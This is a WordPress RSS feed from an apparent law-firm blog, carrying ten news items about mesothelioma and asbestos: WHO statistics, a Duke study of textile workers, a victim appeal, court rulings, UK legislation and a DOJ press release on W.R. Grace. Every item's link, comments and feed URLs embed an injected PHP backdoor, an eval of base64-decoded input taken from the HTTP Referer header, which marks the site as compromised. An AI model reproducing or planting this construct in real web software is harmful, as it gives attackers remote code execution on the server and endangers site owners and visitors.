<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mesothelioma News</title>
	<atom:link href="http://news.mesothelioma--lawfirm.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://news.mesothelioma--lawfirm.com</link>
	<description>Mesothelioma News by Masry &#38; Vititoe</description>
	<lastBuildDate>Tue, 13 Apr 2010 16:04:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Mesothelioma Stats</title>
		<link>http://news.mesothelioma--lawfirm.com/2010/04/13/mesothelioma-stats/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://news.mesothelioma--lawfirm.com/2010/04/13/mesothelioma-stats/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 13 Apr 2010 15:55:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://news.mesothelioma--lawfirm.com/?p=256</guid>
		<description><![CDATA[
Does the world face a Mesothelioma spike?
WHO ( World Health Organization) stats ( 125 million people exposed yearly) were released on  October 30th, 2008 according to asbestos.com, which says that  90,000 people yearly die of asbestos poisoning.


Search  WHO stats 
]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.who.int/sysmedia/images/who_logo_en.gif"><br />
Does the world face <a href="http://www.asbestos.net/news/australia-faces-spike-in-mesothelioma-cases.html">a Mesothelioma spike?</a></p>
<p>WHO ( World Health Organization) stats ( 125 million people exposed yearly) were released on  October 30th, 2008 according to <a href="http://www.asbestos.com/news/2008/10/30/world-health-organization-releases-global-asbestos-statistics/">asbestos.com</a>, which says that  90,000 people yearly die of asbestos poisoning.<br />
<center><br />
<a href="http://apps.who.int/whosis/data/Search.jsp" target="_blank"><img src="http://www.townsquareforums.com/Art/who.jpg"><br />
Search  WHO stats</a> </center></p>
]]></content:encoded>
			<wfw:commentRss>http://news.mesothelioma--lawfirm.com/2010/04/13/mesothelioma-stats/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mesothelioma: New Duke University Study</title>
		<link>http://news.mesothelioma--lawfirm.com/2009/08/08/mesothelioma-new-duke-university-study/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://news.mesothelioma--lawfirm.com/2009/08/08/mesothelioma-new-duke-university-study/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 08 Aug 2009 23:38:12 +0000</pubDate>
		<dc:creator>news</dc:creator>
				<category><![CDATA[Medical]]></category>
		<category><![CDATA[Mesothelioma Medical Study]]></category>

		<guid isPermaLink="false">http://news.mesothelioma--lawfirm.com/?p=250</guid>
		<description><![CDATA[North Carolina Textile Workers Exposed to Carcinogen
The intent of the study was to describe mortality among workers and examine possible relationships between exposure and mortality rates.
Mortality in the Vital status of workers employed for at least 1 day between 1 January 1950 and 31 December 1973 in four North Carolina plants was compared and tracked.
Of [...]]]></description>
			<content:encoded><![CDATA[<p>North Carolina Textile Workers Exposed to Carcinogen</p>
<p>The intent of the study was to describe mortality among workers and examine possible relationships between exposure and mortality rates.</p>
<p>Mortality in the Vital status of workers employed for at least 1 day between 1 January 1950 and 31 December 1973 in four North Carolina plants was compared and tracked.</p>
<p>Of 5770 workers,  2583 deaths werefrom all causes; 277 from lung cancer. Mortality from all causes, (all cancers and lung cancer was significant higher than expected). </p>
<p>The risk of lung cancer and asbestosis increased with cumulative fibre exposure.  Details of the study are available from the source listed below.</p>
<p><a href="http://oem.bmj.com/cgi/content/short/66/8/535" title="This study provides further evidence that exposure to chrysotile asbestos in textile manufacturing is associated with increased risk of lung cancer, asbestosis cancer of the pleura and mesothelioma." target="_blank">Duke Univerity Study OEM.BMJ</a></p>
]]></content:encoded>
			<wfw:commentRss>http://news.mesothelioma--lawfirm.com/2009/08/08/mesothelioma-new-duke-university-study/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Appeal for Pulp House Mesothelioma Victims</title>
		<link>http://news.mesothelioma--lawfirm.com/2009/06/03/appeal-for-pulp-house-mesothelioma-victims/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://news.mesothelioma--lawfirm.com/2009/06/03/appeal-for-pulp-house-mesothelioma-victims/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 07:30:48 +0000</pubDate>
		<dc:creator>news</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Press Releases]]></category>

		<guid isPermaLink="false">http://news.mesothelioma--lawfirm.com/?p=247</guid>
		<description><![CDATA[Sewell Jones, spent his final days at the Hospice of St Francis in Berkhamsted.
On February 2007, Sewell Jones died of mesothelioma.
His daughter Wendy Jones is looking for other workers from &#8221; the pulp house&#8221; where Jones was exposed to asbestos.
If you worked at &#8220;the pulp house,&#8221;  (Nash Mills Paper Factory of Belswain Lane in [...]]]></description>
			<content:encoded><![CDATA[<p>Sewell Jones, spent his final days at the Hospice of St Francis in Berkhamsted.</p>
<p>On February 2007, Sewell Jones died of mesothelioma.</p>
<p>His daughter Wendy Jones is looking for other workers from &#8221; the pulp house&#8221; where Jones was exposed to asbestos.</p>
<p>If you worked at &#8220;the pulp house,&#8221;  (Nash Mills Paper Factory of Belswain Lane in Kings Langley)please come forward and contact 0844 854 3096 or email susan.dawson@fentons.co.uk </p>
]]></content:encoded>
			<wfw:commentRss>http://news.mesothelioma--lawfirm.com/2009/06/03/appeal-for-pulp-house-mesothelioma-victims/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Maine Asbestos Problem</title>
		<link>http://news.mesothelioma--lawfirm.com/2009/05/29/maine-asbestos-problem/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://news.mesothelioma--lawfirm.com/2009/05/29/maine-asbestos-problem/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 29 May 2009 07:13:00 +0000</pubDate>
		<dc:creator>news</dc:creator>
				<category><![CDATA[Medical]]></category>
		<category><![CDATA[Press Releases]]></category>

		<guid isPermaLink="false">http://news.mesothelioma--lawfirm.com/?p=243</guid>
		<description><![CDATA[Maine now has the highest death rate from mesothelioma in United States according to the National Institute for Occupational Health and Safety (NIOSH).
The U.S. Centers for Disease Control (CDC) agency NIOSH indicates twenty seven asbestos-related deaths per million.  As that turns out to be about 80 deaths a year, it may indicate a risk [...]]]></description>
			<content:encoded><![CDATA[<p>Maine now has the highest death rate from mesothelioma in United States according to the National Institute for Occupational Health and Safety (NIOSH).</p>
<p>The U.S. Centers for Disease Control (CDC) agency NIOSH indicates twenty seven asbestos-related deaths per million.  As that turns out to be about 80 deaths a year, it may indicate a risk factor especially for high risk groups.  </p>
]]></content:encoded>
			<wfw:commentRss>http://news.mesothelioma--lawfirm.com/2009/05/29/maine-asbestos-problem/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>$13.4 Million In Damages</title>
		<link>http://news.mesothelioma--lawfirm.com/2009/04/28/134-million-in-damages/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://news.mesothelioma--lawfirm.com/2009/04/28/134-million-in-damages/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 20:06:15 +0000</pubDate>
		<dc:creator>news</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Add new tag]]></category>

		<guid isPermaLink="false">http://news.mesothelioma--lawfirm.com/?p=201</guid>
		<description><![CDATA[Chile&#8211;JAMES HARDIE Industries diverts 35 per cent of its cash flow into the Asbestos Injuries Compensation Fund.  This Chilean court judgement against them may put a strain on Hardie to meet that number.
The judgement against JAMES HARDIE is based on a business related charge of predatory pricing.
]]></description>
			<content:encoded><![CDATA[<p><b>Chile&#8211;</b>JAMES HARDIE Industries diverts 35 per cent of its cash flow into the Asbestos Injuries Compensation Fund.  This Chilean court judgement against them may put a strain on Hardie to meet that number.</p>
<p>The judgement against JAMES HARDIE is based on a business related charge of predatory pricing.</p>
]]></content:encoded>
			<wfw:commentRss>http://news.mesothelioma--lawfirm.com/2009/04/28/134-million-in-damages/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>British House of Commons Face Mesothelioma</title>
		<link>http://news.mesothelioma--lawfirm.com/2009/04/27/british-house-of-commons-face-mesothelioma/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://news.mesothelioma--lawfirm.com/2009/04/27/british-house-of-commons-face-mesothelioma/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 27 Apr 2009 20:17:20 +0000</pubDate>
		<dc:creator>news</dc:creator>
				<category><![CDATA[Press Releases]]></category>

		<guid isPermaLink="false">http://news.mesothelioma--lawfirm.com/?p=206</guid>
		<description><![CDATA[The Damages (Asbestos-Related Conditions) Bill passed its second stage and is close to becoming British law. Westminster unanimously passed the bill to restore pleural plaques compensation. Pleural plaques is asbestos-caused lung scarring which affects thousands in the UK.
Many victims were knowingly exposed by employers who knew the dangers.
]]></description>
			<content:encoded><![CDATA[<p>The Damages (Asbestos-Related Conditions) Bill passed its second stage and is close to becoming British law. Westminster unanimously passed the bill to restore pleural plaques compensation. Pleural plaques is asbestos-caused lung scarring which affects thousands in the UK.</p>
<p>Many victims were knowingly exposed by employers who knew the dangers.</p>
]]></content:encoded>
			<wfw:commentRss>http://news.mesothelioma--lawfirm.com/2009/04/27/british-house-of-commons-face-mesothelioma/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Companies tries to clear Mesothelioma Lawsuit</title>
		<link>http://news.mesothelioma--lawfirm.com/2009/04/23/companies-tries-to-clear-mesothelioma-lawsuit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://news.mesothelioma--lawfirm.com/2009/04/23/companies-tries-to-clear-mesothelioma-lawsuit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 20:07:30 +0000</pubDate>
		<dc:creator>news</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://news.mesothelioma--lawfirm.com/?p=203</guid>
		<description><![CDATA[New Brunswick-Friday, March 13, 2009&#8211;Chrysler Motor Corp. and Honeywell International were blocked in their attempt to obtain lung tissue from mesothelioma victim St. John in their attempt to prove themselves innocent of causing the subject&#8217;s mesothelioma.
Superior Court Judge Philip Paley ruled in favor of the family&#8217;s moral and religious objections.
Two days before the lawsuit began, [...]]]></description>
			<content:encoded><![CDATA[<p><b>New Brunswick-</b>Friday, March 13, 2009&#8211;Chrysler Motor Corp. and Honeywell International were blocked in their attempt to obtain lung tissue from mesothelioma victim St. John in their attempt to prove themselves innocent of causing the subject&#8217;s mesothelioma.</p>
<p>Superior Court Judge Philip Paley ruled in favor of the family&#8217;s moral and religious objections.</p>
<p>Two days before the lawsuit began, 67 year old St John died.  St. John worked in a family-owned auto repair shop in the 1950s and 1960s, and  as a United Airlines baggage handler.</p>
]]></content:encoded>
			<wfw:commentRss>http://news.mesothelioma--lawfirm.com/2009/04/23/companies-tries-to-clear-mesothelioma-lawsuit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Illegal Asbestos Dumping</title>
		<link>http://news.mesothelioma--lawfirm.com/2009/04/01/198/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://news.mesothelioma--lawfirm.com/2009/04/01/198/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 11:06:13 +0000</pubDate>
		<dc:creator>news</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://news.mesothelioma--lawfirm.com/?p=198</guid>
		<description><![CDATA[Sinisgalli is a demolition contractor, of Sinisgalli, Inc is under investigation for alleged illegal dumping of asbestos.  Allegations are that workers dumped asbestos and other demolition debris in High Acres Landfill in Perinton, New York without proper permits, which means they kept money meant to pay for dumping fees, and jeopardized the health of [...]]]></description>
			<content:encoded><![CDATA[<p>Sinisgalli is a demolition contractor, of Sinisgalli, Inc is under investigation for alleged illegal dumping of asbestos.  Allegations are that workers dumped asbestos and other demolition debris in High Acres Landfill in Perinton, New York without proper permits, which means they kept money meant to pay for dumping fees, and jeopardized the health of the general public as well as landfill workers. </p>
]]></content:encoded>
			<wfw:commentRss>http://news.mesothelioma--lawfirm.com/2009/04/01/198/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Welsh Teachers 10X Risk of Mesothelioma</title>
		<link>http://news.mesothelioma--lawfirm.com/2009/03/29/welsh-teachers-10x-risk-of-mesothelioma/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://news.mesothelioma--lawfirm.com/2009/03/29/welsh-teachers-10x-risk-of-mesothelioma/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 29 Mar 2009 14:28:26 +0000</pubDate>
		<dc:creator>news</dc:creator>
				<category><![CDATA[Legal]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://news.mesothelioma--lawfirm.com/?p=190</guid>
		<description><![CDATA[As retired teachers are dying from mesothelioma, mesothelioma rates are “far higher than should be expected” among teachers according to a recent conference on occupational health. Schools built in the 1960s and 1980s are likely to contain asbestos.
Zoe Brewis, research and information officer at education union ATL Cymru is quoted as saying that “many education [...]]]></description>
			<content:encoded><![CDATA[<p>As retired teachers are dying from mesothelioma, mesothelioma rates are “far higher than should be expected” among teachers according to a recent conference on occupational health. Schools built in the 1960s and 1980s are likely to contain asbestos.<br />
Zoe Brewis, research and information officer at education union ATL Cymru is quoted as saying that “many education staff are unaware that asbestos is present in their workplace until repairs or renovations are undertaken.&#8221;</p>
<p>The Association of Teachers and Lecturers is pushing the agenda. We should see that teachers are made aware of this hazard, not only in Wales, but everywhere that the hazard exists. Delegates to the Association of Teachers and Lecturers conference are calling for “the complete removal of asbestos from all educational establishments” by 2010.  Someone should consider that if the teachers are exposed, so are the children.</p>
<p><u>For more information, read:</u>
<ul>
<li><a href="http://www.dailypost.co.uk/news/north-wales-news/2008/03/14/asbestos-fears-as-flintshire-teacher-dies-55578-20622263/">http://www.dailypost.co.uk/news/north-wales-news/2008/03/14/asbestos-fears-as-flintshire-teacher-dies-55578-20622263/</a>
<li><a href="http://www.walesonline.co.uk/news/wales-news/2009/03/27/asbestos-exposed-as-the-hidden-killer-in-welsh-schools-91466-23243923/">http://www.walesonline.co.uk/news/wales-news/2009/03/27/asbestos-exposed-as-the-hidden-killer-in-welsh-schools-91466-23243923/</a>
<li><a href="http://news.bbc.co.uk/1/hi/wales/north_east/7296471.stm">http://news.bbc.co.uk/1/hi/wales/north_east/7296471.stm</a>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://news.mesothelioma--lawfirm.com/2009/03/29/welsh-teachers-10x-risk-of-mesothelioma/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DOJ Press Release: W.R. Grace to Pay for Cleanup of Asbestos Contamination in Libby, Montana</title>
		<link>http://news.mesothelioma--lawfirm.com/2009/03/22/wr-grace-to-pay-for-cleanup-of-asbestos-contamination-in-libby-montana/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://news.mesothelioma--lawfirm.com/2009/03/22/wr-grace-to-pay-for-cleanup-of-asbestos-contamination-in-libby-montana/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 22 Mar 2009 09:08:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Press Releases]]></category>

		<guid isPermaLink="false">http://news.mesothelioma--lawfirm.com/?p=182</guid>
		<description><![CDATA[FOR IMMEDIATE RELEASE
TUESDAY, MARCH 11, 2008
WWW.USDOJ.GOV

WWW.USDOJ.GOV
W.R. Grace to Pay for Cleanup of Asbestos Contamination in Libby, Montana
WASHINGTON—W.R. Grace, a global supplier of specialty chemicals, has agreed to pay $250 million, the highest sum in the history of the Superfund program, to
reimburse the federal government for the costs of the investigation and cleanup of asbestos contamination [...]]]></description>
			<content:encoded><![CDATA[<p>FOR IMMEDIATE RELEASE<br />
TUESDAY, MARCH 11, 2008<br />
WWW.USDOJ.GOV<br />
<img src="http://www.usdoj.gov/opa/pr/sealdoj.gif" alt="Department of Justice Seal" /><br />
<a href="http://www.usdoj.gov">WWW.USDOJ.GOV</a></span><br />
<h1 class="prtitle">W.R. Grace to Pay for Cleanup of Asbestos Contamination in Libby, Montana</h1>
<p>WASHINGTON—W.R. Grace, a global supplier of specialty chemicals, has agreed to pay $250 million, the highest sum in the history of the Superfund program, to<br />
reimburse the federal government for the costs of the investigation and cleanup of asbestos contamination in Libby, Mont., the Justice Department and Environmental Protection Agency (EPA) announced today.</p>
<p>The action settles a bankruptcy claim brought by the federal government to recover money for past and future costs of cleanup of contaminated schools, homes and businesses in Libby.</p>
<p>
	The EPA has been removing asbestos-contaminated soils and other materials in and near Libby since May 2000.  The federal government filed suit against W.R.<br />
Grace in March 2001 to recover its investigation and cleanup costs under the Comprehensive Environmental Response, Compensation, and Liability Act (CERCLA),<br />
commonly known as the “Superfund” law.  The lawsuit also named Kootenai Development Corporation—a W.R. Grace subsidiary—as a defendant due to its ownership of three contaminated properties in Libby.</p>
<p>
In 2003, the federal district court in Montana awarded EPA over $54 million for cleanup costs incurred by EPA through Dec. 31, 2001.  That award has not been paid due to W.R. Grace’s bankruptcy.  Today’s settlement resolves the 2003 judgment as well as continuing cleanup costs EPA has incurred since Dec. 31, 2001 and will incur in the future.  EPA will place the settlement proceeds into a special account within the Superfund that will be used to finance future cleanup work at the site.</p>
<p>
	W.R. Grace owned and operated a vermiculite mine and vermiculite processing facilities in and near Libby from 1963 to 1990.  The vermiculite ore was<br />
contaminated with asbestos.  Vermiculite and asbestos have been found in various locations in and around Libby.</p>
<p>	Asbestos, a recognized human carcinogen, is known to cause lung cancer and mesothelioma, a lethal tumor of the lining of the chest and abdominal cavities.<br />
Exposure to asbestos can also cause asbestosis, a disease characterized by scarring of the lung.</p>
<p>
	W.R. Grace and 61 affiliated companies filed for bankruptcy in April 2001.  In March 2003, EPA filed a bankruptcy claim against the company to recover past and future cleanup costs. 	W.R. Grace has corporate headquarters in Columbia, Md., and employees in nearly 40 countries.  The company manufactures construction<br />
chemicals, building materials and chemical additives, among other things.</p>
<p>	The settlement requires W.R. Grace to pay the $250 million within 30 days of bankruptcy court approval.  The settlement agreement will be lodged in the U.S. Bankruptcy Court for the District of Delaware and is subject to court approval after a 30-day public comment period.  A copy of the settlement agreement is available on the Justice Department Web site at<br />
<a href="http://www.usdoj.gov/enrd/Consent_Decrees.html"> http://www.usdoj.gov/enrd/Consent_Decrees.html<a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://news.mesothelioma--lawfirm.com/2009/03/22/wr-grace-to-pay-for-cleanup-of-asbestos-contamination-in-libby-montana/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

